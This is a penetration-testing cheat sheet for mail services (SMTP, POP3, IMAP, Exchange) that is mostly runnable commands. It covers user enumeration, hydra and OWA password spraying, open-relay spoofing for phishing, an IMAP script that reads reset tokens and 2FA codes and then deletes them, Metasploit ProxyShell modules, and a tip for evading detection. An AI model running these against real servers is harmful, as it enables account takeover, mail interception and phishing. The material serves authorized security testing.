Mail services rarely give a direct shell, but they’re a goldmine for enumerating users, confirming usernames before spraying, and occasionally reading cleartext credentials inbound/outbound. Modern deployments use authenticated submission (587 w/ STARTTLS) and IMAPS/POP3S — legacy environments still run everything cleartext on 25/110/143.

Discovery

# SMTP
nmap -p25,465,587 -sV -sC --script="smtp-commands,smtp-enum-users,smtp-open-relay,smtp-vuln-*" <IP>
 
# IMAP + POP3
nmap -p110,143,993,995 -sV -sC --script="imap-capabilities,imap-ntlm-info,pop3-capabilities,pop3-ntlm-info,pop3-brute,imap-brute" <IP>

imap-ntlm-info and pop3-ntlm-info leak Windows version + domain name, same as rdp-ntlm-info and smb-ntlm-info — every one of these you find is a free Windows banner.

nc <IP> 25
# EHLO test
# Reveals supported extensions: AUTH, STARTTLS, SIZE, VRFY, EXPN, PIPELINING, DSN, 8BITMIME
 
nc <IP> 110    # POP3
+OK Dovecot ready.
USER bob
PASS Password1
LIST
RETR 1
QUIT
 
openssl s_client -connect <IP>:993    # IMAPS
A1 LOGIN bob Password1
A2 LIST "" "*"
A3 SELECT INBOX
A4 FETCH 1 BODY[]
A5 LOGOUT

SMTP User Enumeration (VRFY, EXPN, RCPT)

Pre-RCPT auth, SMTP exposes three methods that leak which usernames exist:

VRFY <user>    # asks if user exists
EXPN <alias>   # expands a mailing list to its members
RCPT TO: <user@domain>   # accepted vs rejected tells you if user exists

Automated:

smtp-user-enum -M VRFY -U users.txt -t <IP>
smtp-user-enum -M EXPN -U users.txt -t <IP>
smtp-user-enum -M RCPT -U /usr/share/seclists/Usernames/Names/names.txt -t <IP> -D inlanefreight.com
 
# nmap
nmap -p25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} <IP>

Manual check if enumeration is possible:

nc <IP> 25
VRFY root        → 250 or 252 = exists; 550 = doesn't
EXPN postmaster  → expansion result = exists

Many modern servers disable VRFY/EXPN and accept all RCPT TO (anti-enum). If RCPT returns 550 vs 250 for valid vs invalid, enumeration still works.

Credential Brute Force

SMTP AUTH

hydra -L users.txt -P rockyou.txt smtp://<IP>              # port 25
hydra -L users.txt -P rockyou.txt smtp://<IP> -S -s 465    # SMTPS
hydra -L users.txt -P rockyou.txt smtp://<IP> -s 587       # submission + STARTTLS

IMAP / POP3

hydra -L users.txt -P rockyou.txt imap://<IP>
hydra -L users.txt -P rockyou.txt pop3://<IP>
 
# IMAPS / POP3S
hydra -L users.txt -P rockyou.txt imap://<IP>:993 -S
hydra -L users.txt -P rockyou.txt pop3://<IP>:995 -S
 
# NetExec
netexec smtp <IP> -u users.txt -p rockyou.txt    # protocol support varies by version

Lockout policies for mail vary widely — Microsoft Exchange has configurable thresholds, Postfix usually none. Observe server behavior before spraying aggressively.

Open Relay

An open relay accepts mail from any sender to any recipient — phishing cannon on wheels.

nmap -p25 --script=smtp-open-relay <IP>
 
# Manual test with swaks (Swiss Army knife for SMTP)
swaks --to victim@target.com --from attacker@external.com \
      --server <IP> --body "test"
 
# If delivered, you have an open relay

Use cases (authorized):

  • Phishing from an internal-looking sender
  • Spoofed internal emails bypassing SPF/DKIM when source IP is in the SPF record

Email → Credential Capture

Many web apps send OTP / reset tokens via email. If you have POP3/IMAP creds for the right user, you can intercept:

# Script: poll inbox for new messages
openssl s_client -connect <IP>:993 -quiet <<'EOF'
A1 LOGIN bob Password1
A2 EXAMINE INBOX
A3 SEARCH UNSEEN
A4 FETCH <id> BODY[TEXT]
A5 STORE <id> +FLAGS (\Deleted)
A6 EXPUNGE
A7 LOGOUT
EOF

Targets: password reset tokens, 2FA codes if MFA is email-based.

Microsoft Exchange — Extra Attack Surface

  • Autodiscover — https://autodiscover.<domain>/autodiscover/autodiscover.xml leaks internal server names and sometimes creds via misconfigured POST handlers.
  • OWA — Outlook Web Access form login. Classic spraying target:
    python3 ruler --domain <domain> --email user@<domain> brute --users users.txt --passwords passwords.txt
  • EWS (Exchange Web Services) — API endpoint for programmatic access with any valid creds.
  • ActiveSync — Mobile sync, similar auth surface.
  • MailSniper — PowerShell framework for OWA spraying, GAL enumeration, mailbox search.
Invoke-PasswordSprayOWA -ExchHostname mail.target.com -UserList users.txt -Password 'Winter2025!'
Get-GlobalAddressList -ExchHostname mail.target.com -UserName user -Password 'pw' -OutFile gal.txt
Invoke-SelfSearch -Mailbox user@target.com -ExchHostname mail.target.com -Terms "password"

ProxyShell / ProxyLogon

CVEs from 2021 — chain of pre-auth Exchange flaws → RCE as SYSTEM. Still live in unpatched environments.

# Detection
nmap --script http-vuln-cve2021-26855 -p443 <IP>
 
# Metasploit
msfconsole> use exploit/windows/http/exchange_proxyshell_rce
msfconsole> use exploit/windows/http/exchange_proxylogon_rce

Reading Mail with Valid Creds — What to Look For

  • Password reset emails from internal apps → service URLs
  • VPN onboarding emails → endpoint + initial creds
  • Automated backup / monitoring notifications → service account identities and often cleartext passwords
  • Corporate password rotation reminders → naming conventions
  • Attachments: Excel sheets, PDFs with internal data, scanned docs with signatures

Defender Notes

  • SMTP VRFY/EXPN enumeration appears in mail server logs as patterned lookups — SIEM rules alert on volume.
  • OWA brute force creates a flood of 4625 events on the Exchange server.
  • Hydra’s SMTP module can leave a distinctive HELO hydra greeting — customize with -m "FROM=<me@me.com>".

Attack Chain

nmap 25/110/143/993/995 → version + NTLM info
  → SMTP user enum (VRFY/EXPN/RCPT) → valid userlist
  → Spray OWA / IMAP / POP3 with that list
  → Valid creds → read inbox for reset tokens / internal URLs
  → If Exchange: check ProxyShell/ProxyLogon
  → Open relay found? Set up phishing with internal-looking sender